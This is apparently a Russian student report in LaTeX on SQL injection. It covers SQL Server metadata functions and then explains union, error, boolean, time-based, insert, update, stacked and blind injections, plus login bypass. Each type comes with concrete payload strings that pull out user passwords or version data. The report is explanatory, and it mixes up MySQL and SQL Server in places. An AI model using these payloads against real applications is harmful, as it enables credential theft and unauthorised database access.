\documentclass[12pt]{article} \usepackage[T2A]{fontenc} \usepackage[utf8]{inputenc} \usepackage[english,russian]{babel} \usepackage{fancyvrb} \usepackage{underscore} % \usepackage{tempora} \usepackage[mag=1000,a4paper,bindingoffset=1cm, left=2cm,right=2cm,top=2cm,bottom=2cm, headheight=1cm,footskip=1cm,headsep=0.5cm ]{geometry} \title{SQL инъекция в сервере MySQL} \author{Андрей Гущин, Иван Улитин, Роман Стаин, Ирина Зимина} \begin{document} \maketitle \tableofcontents % Анализ БД через SQL инъекцию. \section{Анализ БД через SQL инъекцию} Анализ базы данных через SQL инъекцию является незаконным и неэтичным действием. Это может привести к нарушению безопасности данных, краже конфиденциальной информации и другим серьезным последствиям. SQL инъекция - это техника взлома, которая использует недостатки в системе безопасности базы данных для выполнения вредоносного кода. Эта техника позволяет злоумышленнику получить несанкционированный доступ к базе данных и выполнить различные операции, включая просмотр, изменение и удаление данных. Но помимо использования инъекций для получения или изменения данных непосредственно в БД атакуемого сервиса, можно также изучить инфраструктуру используемой СУБД. Например, выяснить существующие в БД таблицы. Также можно найти названия служебных баз данных, в которых в некоторых случаях могут храниться незашифрованные пароли. Зачастую, настройки СУБД также хранятся прямо внутри управляемых ей баз данных. Так как все служебные данные также хранятся в базах данных рядом с пользовательскими данными, то получить их можно с помощью тех же методов, которые применяются для получения обычных данных. Хорошие администраторы баз данных принимают все меры для защиты своих баз данных от SQL инъекций, такие как использование параметризованных запросов, валидацию пользовательского ввода, ограничение доступа пользователей и т.д. Однако, если злоумышленник обнаружил уязвимость в базе данных, то проведение SQL инъекции может позволить ему обойти меры защиты и получить доступ к данным. % Реализация SQL инъекции: получение пользовательской информации. \section{Реализация SQL инъекции: получение пользовательской информации.} В современном мире большинство людей ежедневно использует многочисленное количество веб-приложений: интернет-магазины, клиентские сайты, разнообразные web-приложения крупных организаций (официальные сайты компаний, системы оплаты, государственные услуги и т.д.). Во многих таких сайтах или приложениях используются базы данных и соответственно системы управления этими базами данных. Инъекция SQL технология взлома, позволяющая получить различную пользовательскую информацию: пароли, логины. Если web-сайт огранизации, обращающейся к БД собирает более конфиденциальную информацию (паспортные данные, адреса проживания), то такая информация более интересна для злоумышленника и угрозы осуществляются чаще. SQL Server хранит данные, и эти данные служат различным бизнес-целям. Помимо этого в SQL Server имеется информация об этих данных, и эта информация называется метаданными. SQL Server предоставляет несколько системных функций, которые вернут метаданные. В SQL Server имеется более 30 функций метаданных. функции метаданных: SERVERPROPERTY DATABASEPROPERTYEX DB_NAME и DB_ID FILE_NAME, FILE_ID и FILE_IDEX SCHEMA_NAME и SCHEMA_ID OBJECT_NAME и OBJECT_ID STATS_DATE Функция SERVERPROPERTY. Позволяет получить различные свойства экземпляра SQL Server. Она возвращает такую информацию, как имя сервера, редакцию SQL Server, версию продукта, является ли он кластеризованным и т.д. \begin{Verbatim} SELECT SERVERPROPERTY('MachineName') AS ComputerName, SERVERPROPERTY('ServerName') AS InstanceName, SERVERPROPERTY('Edition') AS Edition, SERVERPROPERTY('ProductVersion') AS ProductVersion, SERVERPROPERTY('ProductLevel') AS ProductLevel, SERVERPROPERTY('Collation') AS Collation, SERVERPROPERTY('IsIntegratedSecurityOnly') AS IsIntegratedSecurityOnly, SERVERPROPERTY('EngineEdition') AS DatabaseEngineEdition, SERVERPROPERTY('IsHadrEnabled') AS IsHadrEnabled, SERVERPROPERTY('IsClustered') AS IsClustered, SERVERPROPERTY('IsBigDataCluster') AS IsBigDataCluster, SERVERPROPERTY('InstanceDefaultDataPath') AS InstanceDefaultDataPath, SERVERPROPERTY('InstanceDefaultLogPath') AS InstanceDefaultLogPath, SERVERPROPERTY('InstanceDefaultBackupPath') AS InstanceDefaultBackupPath GO \end{Verbatim} Функция DATABASEPROPERTYEX. Возвращает информацию уровня базы данных, включая такие свойства базы данных, как восстановление, статус, конфигурацию автосжатия, репликацию и т.д. Потребуется указать имя базы данных, а также название свойства. Этот запрос T-SQL даст модель восстановления, текущий статус базы данных и пользовательский доступ к указанной базе данных (TESTDB). Вывод показывает, что TESTDB использует полную модель восстановления, находится в режиме онлайн и использует многопользовательский доступ к базе данных. \begin{Verbatim} SELECT DATABASEPROPERTYEX('TESTDB', 'RECOVERY') AS [Recovery Model], DATABASEPROPERTYEX('TESTDB', 'Status') AS [DB Status], DATABASEPROPERTYEX('TESTDB', 'UserAccess') AS [UserAccess]; GO \end{Verbatim} Функции DB_NAME и DB_ID. Используются для получения имени базы данных по ID базы данных или ID базы данных по имени. Если не указать ID или имя базы данных, выходные данные будут содержать информацию о базе данных, для которой выполнялся запрос. В примере показывается, как указать ID пользовательской базы данных, чтобы вернуть ее имя, и, напротив, указать имя базы данных, чтобы получить ее ID. \begin{Verbatim} USE TESTDB GO SELECT DB_NAME() AS [DB Name], DB_ID() AS [DB ID] GO SELECT DB_NAME(7) AS [DB Name], DB_ID('TESTDB') AS [DB ID] \end{Verbatim} Результат обоих операторов одинаков. Следующие функции метаданных имеют отношение к информации уровня файла: FILE_NAME FILE_ID FILE_IDEX Функция FILE_NAME возвращает логическое имя файла для заданного ID файла базы данных, в то время как функция FILE_ID вернет ID логического файла для указанного имени файла базы данных. Функция FILE_IDEX может вернуть ID логического файла по указанному имени файла базы данных, Этот пример выполняет sp_helpdb на пользовательской базе данных TESTDB, чтобы вернуть всю информацию уровня файла. Можно увидеть имена файлов, ID и другие подробности в выводе процедуры. \begin{Verbatim} EXEC sp_helpdb 'TESTDB' GO SELECT FILE_NAME(1) AS 'File Name 1', FILE_NAME(2) AS 'File Name 2'; GO \end{Verbatim} Функции SCHEMA_NAME и SCHEMA_ID Используются для получения имени и ID для заданного имени схемы или ID схемы. Если обратиться к sys.schemas, получите имя схемы и ее ID. \begin{Verbatim} SELECT SCHEMA_NAME() AS [Schema Name], SCHEMA_NAME(1) AS [Schema Name using ID], SCHEMA_NAME(2) AS [Schema Name using ID], SCHEMA_NAME(3) AS [Schema Name using ID] \end{Verbatim} В результате получаем имя каждой схемы, которую указали с помощью ID. Для первого элемента значением по умолчанию является 1, поэтому два первых столбца совпадают. Подобным образом имена этих схем были скопированы из результатов и вставлены в функцию SCHEMA_ID, чтобы получить их ID с помощью следующего запроса. \begin{Verbatim} SELECT SCHEMA_ID() AS [Schema ID], SCHEMA_ID('dbo') AS [Schema ID using Name], SCHEMA_ID('guest') AS [Schema ID using Name], SCHEMA_ID('INFORMATION_SCHEMA') AS [Schema ID using Name] \end{Verbatim} Функции OBJECT_NAME и OBJECT_ID Чтобы получить ID объекта, в функции OBJECT_ID нужно указать имя объекта, а чтобы получить имя объекта, в функции OBJECT_NAME следует указать ID объекта. В примере имя таблицы OrderDetails из базы данных TESTDB используется для получения ID этой таблицы. Также получаем имя с помощью OBJECT_ID. \begin{Verbatim} USE TESTDB SELECT OBJECT_ID('TESTDB.dbo.OrderDetails') AS [ObjectID] GO SELECT OBJECT_NAME(901578250) AS [ObjectName] \end{Verbatim} Функция STATS_DATE Вернет дату последнего обновления статистики для таблицы или индексированного представления по object_id и stats_id. \begin{Verbatim} SELECT object_id, name, stats_id FROM sys.stats WHERE object_id = 901578250GO SELECT STATS_DATE(901578250, 2) AS [Last stats update date] \end{Verbatim} Запрос возвращает список всех имен статистики и их идентификаторы для этого объекта, а функция показывает, когда обновлялась статистика с ID 2. Можно также получить дату последнего обновления статистки для всех статистик, выполнив следующий запрос: \begin{Verbatim} USE TESTDB SELECT name AS StatsName, STATS_DATE(object_id, stats_id) AS [Latest stats update date] FROM sys.stats WHERE object_id = OBJECT_ID('dbo.OrderDetails'); GO \end{Verbatim} % Реализация SQL инъекции: типы данных \section{Реализация SQL инъекции: типы SQL запросов} Одним из критериев классификации SQL инъекции является тип запроса, в который можно встраивать инструкции\dots \subsection{Union-based} Первый метод заключается в добавлении конструкции UNION, позволяющей вертикально комбинировать данные из разных таблиц в одну. Как правило, требуется, чтобы на сайте было поле, куда выводится сообщение или чтобы на сайте была таблица, которая заполняется при выполнении SQL-запроса сервером (например, вывод расписания врача после введения в текстовом поле его имени). Например, сайт, возвращающий имя и логин пользователей по id и использующий следующий SQL-запрос: \begin{Verbatim} SELECT name,email FROM users WHERE id=''; \end{Verbatim} Для успешной эксплуатации потребуется дописать запрос, введя следующее: \begin{Verbatim} 1' UNION SELECT password,secret FROM users -- \end{Verbatim} В итоге запрос будет выглядеть следующим образом: \begin{Verbatim} SELECT name,email FROM users WHERE id='1' UNION SELECT password,secret FROM users -- '; \end{Verbatim} В результате вернётся пароль пользователя. \subsection{Error-based} Суть Error-based заключается в том, что можно извлекать нужную информацию из запроса посредством просмотра ошибок работы вызываемых функций. В некоторых случаях можно манипулировать выводом текста в сообщении об ошибке. Например это можно сделать с помощью функции \textit{ExtractValue()} в MySQL. Эта функция используется для извлечения значения из строки XML. Пример запроса, который вернет версию базы данных в сообщении ошибки: \begin{Verbatim} SELECT name,email FROM users WHERE id='1' and ExtractValue(rand(),concat(0x3a,version())) -- \end{Verbatim} \subsection{Boolean-based} Пусть есть SQL-запрос: \begin{Verbatim} SELECT email FROM users WHERE id=''; \end{Verbatim} Отличаться запрос от предыдущих примеров будет тем, что полученная почта не будет высвечиваться, а, например, обрабатываться на backend, и пусть это будет отправка письма для восстановления аккаунта. В случае, если по SQL-запросу из базы данных не возвращается хотя бы одна строка, то можно наблюдать ошибку с отсутствующим пользователем. Для того, чтобы дальше развивать эту уязвимость, можно вписать следующее: \begin{Verbatim} 1' and password LIKE 'a% \end{Verbatim} чтобы запрос принял вид: \begin{Verbatim} SELECT email FROM users WHERE id='1' and password LIKE 'a%'; \end{Verbatim} Оператор \textit{LIKE} используется в условии \textit{WHERE} для поиска заданного шаблона в столбце, а знак процента представляет нулевой, один или несколько символов. В таком случае увидим ошибку отсутствующей почты (при существующем аккаунте с \textit{id=1}) только, если первый символ пароля не 'a'. После чего можно перебирать по одному символу и получать значения из базы данных. \subsection{Time-based} Time-based отличается от boolean-based тем, что результат работы запроса определяется по времени задержки ответа от сервера. Данный тип запросов можно эксплуатировать в любом уязвимом поле. Пример запроса: \begin{Verbatim} SELECT login FROM users WHERE id=''; \end{Verbatim} И если ввести \begin{Verbatim} 1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) -- \end{Verbatim} То получим следующий запрос: \begin{Verbatim} SELECT login FROM users WHERE id='1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) -- '; \end{Verbatim} И в случае, если версия базы данных будет 5, то, например, страница веб-сайта загрузится на 15 секунд медленнее. \subsection{Insert} SQL-инъекция в \textit{INSERT} запросе процесс сложнее, так как во многих случаях потребует наличие исходников (для избежания повреждения данных в таблицах). Принцип эксплуатации \textit{INSERT} SQL-инъекции заключается в добавлении в таблицу строк-результатов работы другого SQL-запроса, хотя формально выполняется только один запрос в базу данных. Есть запрос, добавляющий пользователя в БД: \begin{Verbatim} INSERT INTO users(email,login,password) VALUES('','',''); \end{Verbatim} Таким образом, если в поле логина ввести следующее: \begin{Verbatim} test1','1234'),('my@email.com',VERSION(),'1337') -- \end{Verbatim} То получим запрос, создающий двух пользователей, второй из которых с почтой my@email.com и паролем 1337 будет содержать результат работы \textit{VERSION()} -- текущей версии базы данных (MySQL): \begin{Verbatim} INSERT INTO users(email,login,password) VALUES('...','test1','1234'), ('my@email.com',VERSION(),'1337') -- \end{Verbatim} \subsection{Update} Основывается на том же методе, что и в \textit{INSERT} SQL-инъекции. Оператор \textit{UPDATE} используется для обновления существующих записей в таблице. Пример запроса: \begin{Verbatim} UPDATE users SET about='about' WHERE id='1'; \end{Verbatim} Введем следующее: \begin{Verbatim} ', email=VERSION() WHERE id='1' -- \end{Verbatim} И в итоге получим запрос, помещающий в поле почты пользователя с \textit{id=1} версию базы данных: \begin{Verbatim} UPDATE users SET about='', email=VERSION() WHERE id='1' -- ' WHERE id='1'; \end{Verbatim} \subsection{Stacked} Суть Stacked SQL-инъекции сводится к тому, что возможно за раз отправить несколько SQL-запросов, перечислив их через точку с запятой (;). Для некоторых баз данных такой способ не подойдёт, поскольку они не поддерживают подобное перечисление запросов. Чаще всего такой тип SQL-инъекции эксплуатируют у баз данных MSSQL. Пример запроса: \begin{Verbatim} SELECT login FROM users WHERE id=''; \end{Verbatim} Для эксплуатации введем: \begin{Verbatim} 1'; SELECT password FROM users WHERE id='1 \end{Verbatim} И получим два запроса: \begin{Verbatim} SELECT login FROM users WHERE id='1'; SELECT password FROM users WHERE id='1'; \end{Verbatim} % Реализация SQL инъекции: инъекция в сложных запросах. % https://webew.ru/articles/2078.webew \section{Реализация SQL инъекции: инъекция в сложных запросах} В простейшем примере используется возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выболнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием. \begin{Verbatim} $sql = "SELECT username, realname FROM users WHERE cityid='" . $_GET['cityid'] . "' AND age<'35'"; \end{Verbatim} В этом случае, злоумышленник может нейтрализовать дополнительное условия, передав в качестве параметра \textbf{cityid} \textit{20' UNION SELECT username, password AS realname FROM users WHERE 1 OR '1}, что приведет к формированию следующего запроса: \begin{Verbatim} SELECT username, realname FROM users WHERE cityid='20' UNION SELECT username, password AS realname FROM users WHERE 1 OR '1' AND age<'35'; \end{Verbatim} В результате условие \texttt{age < 35} не будет влиять на выборку, т.к. оператор \textbf{OR} имеет более низкий приоритет, чем \textbf{AND}, и \textbf{WHERE} из приведённого выше запроса по-другому можно записать в виде \texttt{WHERE (cityid='20' AND 1) OR ('1' AND age<'35')} (напомним, что выражение \texttt{WHERE 1} истинно всегда). В результате под условие подойдут и те строки, у которых \texttt{cityid='20'}, и те, у которых \texttt{age < 35}, причем наличие последних не обязательно. В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется. % Реализация SQL инъекции: результаты запроса не отображаются пользователю. \section{Реализация SQL инъекции: результаты запроса не отображаются пользователю} Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос: \begin{Verbatim} $sql = "SELECT count(*) FROM users WHERE userid='" . $_GET['userid'] . "'"; \end{Verbatim} Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден". В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра \texttt{userid} строку \texttt{2' AND password LIKE 'a\%}. Итоговый запрос: \begin{Verbatim} SELECT count(*) FROM users WHERE userid='2' AND password LIKE 'a%'; \end{Verbatim} Взломщик получит "пользователь не найден", если пароль не начинается на букву 'a', или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д. Есть ещё такая штука как Login Bypass Authentication, суть которой как раз передается в названии подтемы: важно не получение значения их базы данных, а завершение запроса верным образом (его успешное выполнение). \begin{Verbatim} SELECT id FROM users WHERE login='' AND password=''; \end{Verbatim} \begin{Verbatim} SELECT id FROM users WHERE login='1234\' AND password='UNION SELECT 1 -- '; \end{Verbatim} То есть каждый из запросов выше возвращает 1. Это может быть использовано для того, чтобы заставить веб-сервер или любой другой интерфейс между пользователем и базой данных выполнить указания, которые необходимы взломщику. Например, веб-ресурс выполнять некоторую команду A при таком-то определенном результате запроса, которая позволяла бы хакеру продолжить атаку на этот ресурс. \end{document}